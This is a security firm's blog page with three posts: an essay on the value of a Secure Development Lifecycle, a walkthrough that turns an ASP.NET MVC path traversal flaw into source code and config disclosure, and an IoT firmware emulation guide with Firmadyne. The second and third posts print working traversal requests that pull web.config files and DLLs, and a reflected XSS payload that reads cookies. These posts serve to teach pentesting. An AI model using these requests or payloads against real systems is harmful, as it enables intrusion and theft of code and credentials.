Thursday, April 11, 2019

Secure Development Lifecycle: the SDL value evolution. Part 1

Observability and metrics paradox

It is also about observability: ”If a tree falls in a forest and no one is around to hear it, does it make a sound?” …or… What is the return value (in dollars number) of having a better SDL in place if your company wasn’t shaken by cybersecurity incidents? I see a little paradox here, after spending big budget into security you cannot measure the returns, even more, the returns are less visible: you don’t have incidents in the first place…and if they happen then “someone saves you”, you may have prevented 9/10 of incidents but it is difficult to make a counterfactual argument at that point.

Oh yes, if you had big problems in the past you can then see the statistical improvements over time, Microsoft did.

From: https://www.owasp.org/images/9/92/OWASP_SwSec5D_Presentation_-_Oct18.pdf

Microsoft case teaches

Microsoft had a nice market position and did deal with security in the early 2000s. Not any company has a de facto monopoly in the market. Your company has competitors and alternatives, needs reputation…and let’s not dig too deep into cyber-fines scenarios.

MS in the early 2000’s put great efforts in defining and in applying SDL and still nowadays MS SDL is the reference implementation. That was the genesis of SDL as we know it today, practices like STRIDE Threat Modeling are de-facto standards in the industry.

Fortunately, the metrics paradox is getting weakened by the fact that SDL is becoming a value in itself, that can be shown, that completes quality, that enhances reputation, marketing and it is content more than form (not only compliance), we’ll see how security principles are taken over formal compliance checklists.

Dear <big tech firm here>, can I evaluate your Secure Development Lifecycle?

Supply chain customers start to demand secure process itself, not only secure products and certifications (assuming it is even plausible). An example is the case of UK Gov relation with Huawei, but I’m confident others will follow. The next extract is from Huawei cyber security evaluation centre oversight board: annual report 2019

“3.35 …analysed the adherence of the product to part of Huawei’s own secure coding guidelines, namely safe memory handling functions. … analysed for the use … of memcpy()-like, strcpy()-like and sprintf()-like functions in their safe and unsafe variants.”

Not many companies with some complexity and history could quietly survive a similar analysis.

Principles based practices and cyber-environmentally safety requirement

The security demand cannot be met only by compliance requirements, compliance, in its various forms (PCI, ISOXXXX) is still a necessary “sine qua non” condition, but customers and counterparties demand more substance behind that. We can observe this “substance winning over form” for example in GDPR as a principles based regulation, as well as in the demand for security processes results to key vendors (see Huawei report from cybersecurity government agency).

From Wikipedia, GDPR: “Controllers of personal data must put in placeappropriate technical and organisational measures to implement the data protection principles”

With that clear in mind, it doesn’t take too long to forecast that an enterprise investing in security principles and substantial SDL will have a double advantage, the genesis/primordial one: more secure product (e.g. MS 2002) but also the newer one coming for the visibility, that customers demand now more and more.

SDL was a means to have more secure product, today even more, is becoming a company “value” and something in the realm of morality and ethics, not so different from environmental sustainability. Also, the earlier a company is in the supply chain (hardware, operative system, authentication server, payment gateway, dev frameworks) the more it should care as the biggest is the damage they can do to the information technology environment. Latests year’s Spectre, Heartbleed, EternalBlue, BIOS and software update security incidents are just a few examples of polluting the supply chain.

Metrics transformation; lead vs lag indicators

Take this example of metrics

“the percentage of people wearing hard hats on a building site is a leading safety indicator. A lagging indicator is an output measurement, for example; the number of accidents on a building site is a lagging safety indicator.”

From: https://www.intrafocus.com/lead-and-lag-indicators/

As the security development practices evolve, the same should happens to related metrics. Formal compliance frameworks and lack of severe incidents may have been enough in the past, but neither happens before software development itself. On the other hand, leading indicators are measured during the SDL; leading efforts could be measured in both resources expenditures and assessing maturity level, better both.

After all, would you trust a nuclear power plant just because is law compliant and had no incidents in the last 10 years even IF they don’t spend a buck in security? Let’s put it this way: consider that our planes and power plants use a lot of software, as well as our future medical operation machine, human and self driving cars etc… and I want to see organizations passionately investing in security, in the smartest, and more efficient way, please!

In the next part(s) I want to dig deeper into the evolution of SDL practices in the cyber security market.

Secure Development Lifecycle: the SDL value evolution. Part 2

Evolution of SDL practices: from custom to product to service

The increasing visibility trend discussed in Part 1, of course, is impacting the current cybersecurity practices, in terms of maturity of evolution, also toward a “service”.

Organisations consist of value chains that are comprised of components that are evolving from genesis to more of a commodity. It sounds fairly basic stuff but it has profound effects because that journey of evolution involves changing characteristics.

Following is a Wardley Map (product evolution/visibility graph) comparing Penetration Testing (PT, more a reacting activity) and SDL (preventing vulnerabilities):

The previous example is a comparison over time (name it: 10 years) of one of the most common practice in cybersecurity. Penetration Testing (PT) went form a custom made exercise, to a product and shifting to a commodity (as a service PT, crow found style bug bounty, etc…) whether the ‘Prevent’ activity: SDL, is gaining the shape of a product and finally more visibility that, by the way, means money.

Pushing security left in the lifecycle, but also pushing up in visibility

from: https://code.likeagirl.io/pushing-left-like-a-boss-part-1-80f1f007da95

Pushing left like a Boss series explains it very well: how to prevent better, but the map of the evolution of the SDL shows also the point discussed in Part 1 of the article: the visibility value on having an SDL.

The birth of a new language is the result (for some the cause) of this “pushing left”. DevSecOps is nowadays term to express this fact. “Threat Model” is another term gaining traction.

DevSecOps imply that the “security guys” will be working together with the developers and also that the developer will be more involved in the security practices. I think this is a real advancement in the SDL field, of course, vendors will overload this term with fancy product associations, that is always expected…we know that Dev*Ops is more a principle/value more than a bunch of products.

On the contrary, PenTest (black box testing, often disconnected to the SDL, non automated, single points in time activity link) will have hard times in the near future in an educated SDL environment. Will rules-based compliance follow this trend soon? Don’t know this answer. But if you think you need PenTest…most likely you need even more to mature you SDL!

Security says yes!

DevSecOps values push toward software evolution (CD: continuous delivery of new features), automation and quality (continuous integration). It is a fertile ground for increasing the maturity of the SDL. Investing in SDL means also more functional products in the short/medium term too, not only more secure and less risky. Of course, the challenge is to transform a legacy product/team to this more integrated approach. Intrinsic problems like lack of specific expertise in the market are still plaguing the cybersecurity and SLD sector. It is also something that cannot be implemented in “few weeks”. Defining a custom plan, called also programme or roadmap, based on maturity models like OWASP SAMM and OWASP 5D, made up of incremental enhancement over time have been successful in several organizations. It may take years but there are not many shortcuts.

Tuesday, October 9, 2018

From Path Traversal to Source Code in Asp.NET MVC Applications

Introduction

Model-View-Controller web applications may be difficult to pentest, since they strongly depend -for almost any aspect- on the technology they are developed and deployed with. From the attacker perspective, interacting with a complex multi-layer web application means dealing with very technology-dependent configuration files and implementations; on the contrary, classic web applications (such as WebForms) present a more traditional and simple structure, where looking interesting data and handlers may be easier.

In this post we will describe a series of steps, based on real world experience, to exploit a Path Traversal vulnerability and reach a full disclosure of source code, by downloading and decompiling DLLs of a Model-View-Controller application within .Net MVC architecture and Razor as the View Engine.

Prerequisite

A Path Traversal vulnerability is present on the target application, and the standard web.config file can be downloaded.

Note: most recent IIS versions and, in general, hardened installations, do not allow web handlers to retrieve files outside their sandbox or scope (i.e. the root folder of the web application, for example c:\inetpub\wwwroot\application_name\)

Main structure

As any .Net application, MVC applications have a web.config file, where "assemblyIdentity" XML tags identifies every binary file the application uses.

Request:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:

HTTP/1.1 200 OK
[...]

<?xml version="1.0" encoding="utf-8"?>

Other files that could be found in the root directory of a .Net application:

/global.asax

<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>

/connectionstrings.config

Note: this file contains passwords!

In addition, .Net MVC applications are structured to define other web.config files, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file.
As shown in the picture, representing a VisualStudio MVC/Razor project for a simple application, the main Views folder includes a web.config file:

/Views/Web.config

Note: the /Views folder is part of the Razor View Engine configuration.

If the application uses Areas, consider that each Area with graphical interface capabilities could have a dedicated ./Views folder containing a Web.config file for further specific namespaces.

<area-name-1>/Views/web.config
<area-name-2>/Views/web.config

Any /Views and <area-name>/Views directory may contain a web.config file, that can be downloaded via the former Path Traversal.

Web.config files may refer to other classes via the "type=" attribute, as well as new namespaces.

Request:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1

Host: example-mvc-application.minded

[...]

Response:
HTTP/1.1 200 OK

[...]

<?xml version="1.0"?>
<configuration>
<configSections>

</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Optimization"/>
<add namespace="System.Web.Routing" />
<add namespace="WebApplication1" />
</namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers></system.webServer>
<system.web><compilation><assemblies><add assembly="System.Web.Mvc, Version=5.2.3.0, Culture=neutral” /></assemblies></compilation></system.web></configuration>

Download the first DLL

From a very shallow analysis, the declaration of a custom namespace (since other namespaces are defaults) suggests that a DLL called "WebApplication1" is present in the /bin directory.

Request:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:

Therefore, the DLL file can be decompiled with tools like .NET Reflector, in order to obtain the source code of the related part of the web application, and additional information to advance in the attack.

Decompiling the main DLL shows several details about the internal structure of the application, and its dependencies and modules.

In fact, Area names, which are the semi-independent sections a MVC application is divided in, are defined in the binary of the main namespace / Web Application:

Results

The namespace WebApplication1.Areas.Minded corresponds to the namesake area, i.e. a section of the application which is most likely to be accessed with a path similar to https://example-mvc-application.minded/area-name/.
Routeconfig.cs file has been extracted to understand the specific rules the application follows to translate URLs to Controllers (which can be considered as the web handlers of the application).

Extend the attack surface

From the definition of an Area, an attacker can infer that other web.config files are present in the application, in guessable/default paths as /area-name/Views/, containing specific configurations that may refer to other DLL files present in the /bin folder.

Request:
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
<section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
<section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
</sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax" />
<add namespace="System.Web.Mvc.Html" />
<add namespace="System.Web.Routing" />
<add namespace="System.Web.Optimization" />
<add namespace="WebApplication1" />
<add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers>
</system.webServer>
</configuration>

Attacker's loot so far

C:\WebApplication1> dir /b /s web.config

C:\WebApplication1\Web.config

C:\WebApplication1\Views\Web.config

C:\WebApplication1\Areas\Minded\Views\web.config

All the web.config files have been downloaded, and they can be inspected for specific references, disclosing details on the /bin directory.

Filename extraction cheat-sheet

The most relevant XML tags, an attacker should look to identify DLLs of a MVC application, are the declarations of namespaces, the inclusion of assembly files, ant any reference to types.

"namespace"
"assemblyIdentity"
" type="

Extract additional namespaces

Every web.config file, both for Areas and for the main Views configuration, includes references to any namespace it depends on:

$ grep -Ri namespace | grep -v namespaces | cut -d'"' -f 1-2

Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc
Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc.AjaxAreas/Minded/Views/web.config: <add namespace="System.Web.Mvc.Html
Areas/Minded/Views/web.config: <add namespace="System.Web.Routing
Areas/Minded/Views/web.config: <add namespace="System.Web.Optimization
Areas/Minded/Views/web.config: <add namespace="WebApplication1
Areas/Minded/Views/web.config: <add namespace="WebApplication1.AdditionalFeatures
Views/Web.config: <add namespace="System.Web.Mvc
Views/Web.config: <add namespace="System.Web.Mvc.Ajax
Views/Web.config: <add namespace="System.Web.Mvc.Html
Views/Web.config: <add namespace="System.Web.Optimization
Views/Web.config: <add namespace="System.Web.Routing
Views/Web.config: <add namespace="WebApplication1

Extract additional assemblies that are referenced within the web application
Binary files (Assembly) the application needs to work properly are declared in the main web.config file:

$ grep -Ri assemblyidentity | cut -d'"' -f 1-2

Web.config: <assemblyIdentity name="Microsoft.Owin.Security
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.OAuth
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.Cookies
Web.config: <assemblyIdentity name="Microsoft.Owin
Web.config: <assemblyIdentity name="Newtonsoft.Json
Web.config: <assemblyIdentity name="System.Web.Optimization
Web.config: <assemblyIdentity name="WebGrease
Web.config: <assemblyIdentity name="System.Web.Helpers
Web.config: <assemblyIdentity name="System.Web.Mvc
Web.config: <assemblyIdentity name="System.Web.WebPages

Extract section group’s namespaces

Within the SectionGroup XML element of a web.config file, the rightmost value of the “type” attribute before the Version refers to additional namespaces the application may need:

$ grep -ri " type=" | grep -v compiler | cut -d'"' -f 1-4

Areas/Minded/Views/web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <add name="BlockViewHandler" path="*
Views/Web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <add name="BlockViewHandler" path="*
Web.config: <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral
Web.config: <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework">
Web.config: <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer

Thus, several files can be downloaded:

EntityFramework.dll
EntityFramework.SqlServer.dll
Microsoft.Owin.dll
Microsoft.Owin.Security.dll
Microsoft.Owin.Security.Cookies.dll
Microsoft.Owin.Security.OAuth.dll
Newtonsoft.Json.dll
System.Web.Helpers.dll
System.Web.Mvc.dll
System.Web.Mvc.Ajax.dll
System.Web.Mvc.Html.dll
System.Web.Optimization.dll
System.Web.Routing.dll
System.Web.WebPages.dll
System.Web.WebPages.Razor.dll
WebApplication1.dll
WebApplication1.AdditionalFeatures.dll
WebGrease.dll

Example of request:
GET /download_page?id=..%2f..%2fbin/<DLL NAME>.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

For the sake of completeness, it must be said that these steps allow an attacker to initiate a grey-box analysis against the web application. In fact, the /bin folder of the target application itself includes several additional DLLs which are referenced by inner libraries.

To understand the gap between the actual /bin folder content and the result of the described technique, the picture shows the real content of the folder, from the internal perspective.

Besides, downloaded DLL files can be treated as any other DLL, which means their dependencies can be listed and they can be decompiled, to investigate more deeply.

References

https://msdn.microsoft.com/en-us/library/w7w4sb0w.aspx
https://docs.microsoft.com/it-it/aspnet/core/mvc/controllers/areas?view=aspnetcore-2.1
https://www.infragistics.com/community/blogs/b/dhananjay_kumar/posts/areas-in-asp-net-mvc
https://www.red-gate.com/products/dotnet-development/reflector/index
https://visualstudiomagazine.com/articles/2014/10/28/asp-net-mvc-5-1-new.aspx
https://www.davidhayden.me/blog/asp-net-mvc-5-attribute-routing
https://www.c-sharpcorner.com/article/learn-about-razor-view-engine/
https://www.ecanarys.com/Blogs/ArticleID/271/THE-RAZOR-VIEW-ENGINE-IN-MVC

Tuesday, October 2, 2018

Pentesting IoT devices (Part 2: Dynamic Analysis)

This is the second part of our Pentesting IoT devices guide. In the previous post it was provided an overview on firmware static analysis showing how it can help to find many security issues. In this article it will be discussed the so called dynamic approach for device pentesting. It will be described how it is possible, thanks to firmware emulation, to improve pentesters' skills and test devices without physically have them.

Dynamic Analysis

The dynamic test of a device, from a security perspective, includes different activities and for each of them there is a specific testing methodology. For example, after a preliminary recon phase against a device, it is possible to face different services like a web server, an FTP service and even an unknown open port related to a customized communication protocol. In this case it is important to split test scenarios and apply a different methodology for each class of services. A great approach could be to test the web interface looking for the typical web vulnerabilities, then focusing on the FTP service and, in the end, studying the customized protocol by sniffing the device traffic or by fuzzing it.
The OWASP IoT attack surface areas provides a useful checklist that helps pentesters in focusing and prioritizing their analysis.

Since it is not possible to describe all the dynamic analysis that a tester could perform against a device, this article focuses the attention on showing an effective way to emulate an IoT device.

Firmware Emulation

The possibility to emulate a device starting from its firmware allows researchers to perform any kind of dynamic tests against it without having the physical device and without worrying about a possible brick. Actually, this kind of analysis are very effective in consultancy activities because sometimes it is necessary to work under particular circumstances, for example, when it is not allowed to test the real device because it's a production device or it is impossible to get the physical device because it is installed in an unreachable place but, in any case, a device firmware copy and a suitable emulator are provided. The main limitation of this technique is that not all devices firmwares and architectures can be easily emulated.

Firmadyne

Firmadyne is a tool which allows you to emulate, thanks to QEMU, a Linux-based firmware and perform basic dynamic analysis against it.

As sentenced from its own github page:“FIRMADYNE is an automated and scalable system for performing emulation and dynamic analysis of Linux-based embedded firmware.”

The aim of this software is to provide an automated way of testing a large number of firmwares with some test cases like nmap service discovery, snmpwalk or metasploit.
Currently it supports the emulation of three different CPUs architectures combinations:

little-endian ARM
little-endian MIPS
big-endian MIPS

Below a step-by-step usage example of Firmadyne with the NetGear WN604 Router Firmware as test case is shown.

The first step consists in the firmware extraction that Firmadyne accomplishes with the extractor.py script. This operation creates a zipped version of the firmware filesystem inside the images folder.

$ ./sources/extractor/extractor.py -b netgear -sql 127.0.0.1 -np -nk "WN604 Firmware Version 2.0.1.zip" images

>> Database Image ID: 20

>> MD5: f961fcc6d198940c2aaebb18b836f795

>> Tag: 20

>> Temp: /tmp/tmpZDScTD

>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True

>>>> Zip archive data, at least v2.0 to extract, compressed size: 710, uncompressed size: 1351, name: ReleaseNotes_WN604_fw_2.0.1.html

>> Recursing into archive ...

[. . .]

/tmp/tmpSVfpkn/_WN604_V2.0.1_firmware.tar.extracted/rootfs.squashfs

>> MD5: fb9c11e075a37a8a5c989743897e8735

>> Tag: 20

>> Temp: /tmp/tmpWfQ7yl

>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True

>> Recursing into archive ...

>>>> Squashfs filesystem, big endian, lzma signature, version 3.1, size: 2333384 bytes, 650 inodes, blocksize: 131072 bytes, created: 2010-03-26 11:55:15

>>>> Found Linux filesystem in /tmp/tmpWfQ7yl/_rootfs.squashfs.extracted/squashfs-root!

The second step is identifying the device architecture and store the result into the database (note that the number 20 is the image ID given by Firmadyne to this firmware).

$ ./scripts/getArch.sh ./images/20.tar.gz

./bin/busybox: mipseb

The third step is loading the content of the filesystem into the database and then create a QEMU disk image with the makeImage.sh script.

$ ./scripts/tar2db.py -i 20 -f ./images/20.tar.gz

$ sudo ./scripts/makeImage.sh 20

Querying database for architecture... Password for user firmadyne:

mipseb

----Running----

----Copying Filesystem Tarball----

----Creating QEMU Image----

Formatting '/home/lcomi/work/clients/minded/firmadyne//scratch//20//image.raw', fmt=raw size=1073741824

----Creating Partition Table----

Welcome to fdisk (util-linux 2.31.1).

Changes will remain in memory only, until you decide to write them.

[. . .]

Once the image is ready it is time to infer firmware network configuration.

$ sudo ./scripts/inferNetwork.sh 20

Querying database for architecture... Password for user firmadyne:

mipseb

Running firmware 20: terminating after 120 secs...

qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.

Bad SWSTYLE=0x04

qemu-system-mips: terminating on signal 2 from pid 19371 (timeout)

Inferring network...

Interfaces: [('brtrunk', '192.168.0.100')]

Done!

Note: if infernetwork.sh cannot identify any interfaces for the aforementioned firmware, it may be necessary to fix Firmadyne script as described by this issue.

In the end it is possible to launch the firmware emulation with the run.sh script.

$ sudo ./scratch/20/run.sh

Creating TAP device tap20_0...

Set 'tap20_0' persistent and owned by uid 0

Bringing up TAP device...

Adding route to 192.168.0.100...

Starting firmware emulation... use Ctrl-a + x to exit

qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.

[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016

[ 0.000000]

[ 0.000000] LINUX started...

[ 0.000000] bootconsole [early0] enabled

[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)

[ 0.000000] FPU revision is: 00739300

[ 0.000000] Determined physical RAM map:

[ 0.000000] memory: 00001000 @ 00000000 (reserved)

[ 0.000000] memory: 000ef000 @ 00001000 (ROM data)

[ 0.000000] memory: 0061e000 @ 000f0000 (reserved)

[ 0.000000] memory: 0f8f1000 @ 0070e000 (usable)

[ 0.000000] debug: ignoring loglevel setting.

[. . .]

As can be seen from the nmap output and from the following picture, all the device services are available over the network at IP address 192.168.0.100 and they can be analyzed by using the scripts included in Firmadyne analysis folder.

$ nmap -p- -sV -T4 192.168.0.100

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 17:12 CEST
Nmap scan report for 192.168.0.100
Host is up (0.00070s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Dropbear sshd 0.51 (protocol 2.0)
80/tcp open http lighttpd 1.4.18
443/tcp open ssl OpenSSL (SSLv3)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Device web interface is listening on port 80.

Being a pentester who wants to manually conduct his own dynamic analysis and without being interested in the "statistic" capabilities of Firmadyne, it would be useful to employ this tool only to extract and emulate a device firmware. Considering this approach, it was created a simple but effective script called firmadyne-launcher to easily automate the emulation of a firmware.

After having installed and configured Firmadyne, it is possible to clone firmadyne-launcher repository on your local machine and move firmadyne_laucher.sh inside Firmadyne application folder. Now, providing a firmware file as argument, the script can be started.

lcomi@aquarius:~/firmadyne$ ./firmadyne_launcher.sh firmware.zip
Extracting the firmware...
Getting the architecture...
Creating the image...
Creating TAP device tap7_0...
Set 'tap7_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.0.100...
Starting firmware emulation... use Ctrl-a + x to exit
qemu-system-mips: -net nic,vlan=0: 'vlan' is deprecated. Please use 'netdev' instead.
[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[ 0.000000]
[ 0.000000] LINUX started...
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[ 0.000000] FPU revision is: 00739300
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 00001000 @ 00000000 (reserved)
[ 0.000000] memory: 000ef000 @ 00001000 (ROM data)
[ . . . ]
Welcome to SDK.
Have a lot of fun...
netgear123456 login:

Looking for web vulnerabilities

To prove that it is possible to dynamically test an emulated device like a physical one, some interesting web vulnerabilities could be hunted. Below it is given an example about the findings of a new reflected XSS inside the web interface of the Dlink 850L router. The vulnerable firmware can be found here.

Router login page, the default password is empty.

After the login page, that can be simply bypassed using the default credentials, it is possible to see different menu and configuration options which a user can modify. After mapping some of them with the help of a proxy like Burp, it was noticed that a particular handler had a vulnerable parameter that led us to trigger an XSS through the following tampered GET request:

http://192.168.0.1/[HANDLER]?[PARAM]=</script><script>alert(document.cookie)</script>

Execution of the arbitrary JS code inside the victim's browser.

The details of this vulnerability, addressed as CVE-2018-17779, are actually redacted to allow Dlink to patch any vulnerable firmwares.

It is suggested to download the aforementioned D-Link firmware and try to find out many other vulnerabilities. Another great exercise is to manually extract the device filesystem (following the first part of this guide) and localize any dynamic analysis findings (like the xss-vulnerable web page) inside the source code and then find a solution to fix them.

Conclusions

In this article it was shown how it is possible to emulate a firmware device and what are its main advantages and limitations. Thanks to this technique, a new vulnerability inside Dlink DIR-850L web interface was found, even without having the physical device.

This post closes our IoT pentesting serie, where both static and dynamic approach in firmwares security review have been discussed. It is important to underline that IoT manufacturers have to consider the security of their products as a top priority and researchers should have the possibility to freely test devices to find out new vulnerabilities and responsibly disclose them.

References

https://github.com/firmadyne/firmadyne/blob/master/paper/paper.pdf
https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html

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Thursday, April 11, 2019

Secure Development Lifecycle: the SDL value evolution. Part 1

Secure Development Lifecycle: the SDL value evolution. Part 2

Tuesday, October 9, 2018

From Path Traversal to Source Code in Asp.NET MVC Applications

Introduction

Prerequisite

Main structure

/global.asax

/connectionstrings.config

Download the first DLL

Results

Extend the attack surface

Attacker's loot so far

Filename extraction cheat-sheet

Extract additional namespaces

Extract section group’s namespaces

References

Tuesday, October 2, 2018

Pentesting IoT devices (Part 2: Dynamic Analysis)

Dynamic Analysis

Firmware Emulation

Firmadyne

Looking for web vulnerabilities

Conclusions

References

Search

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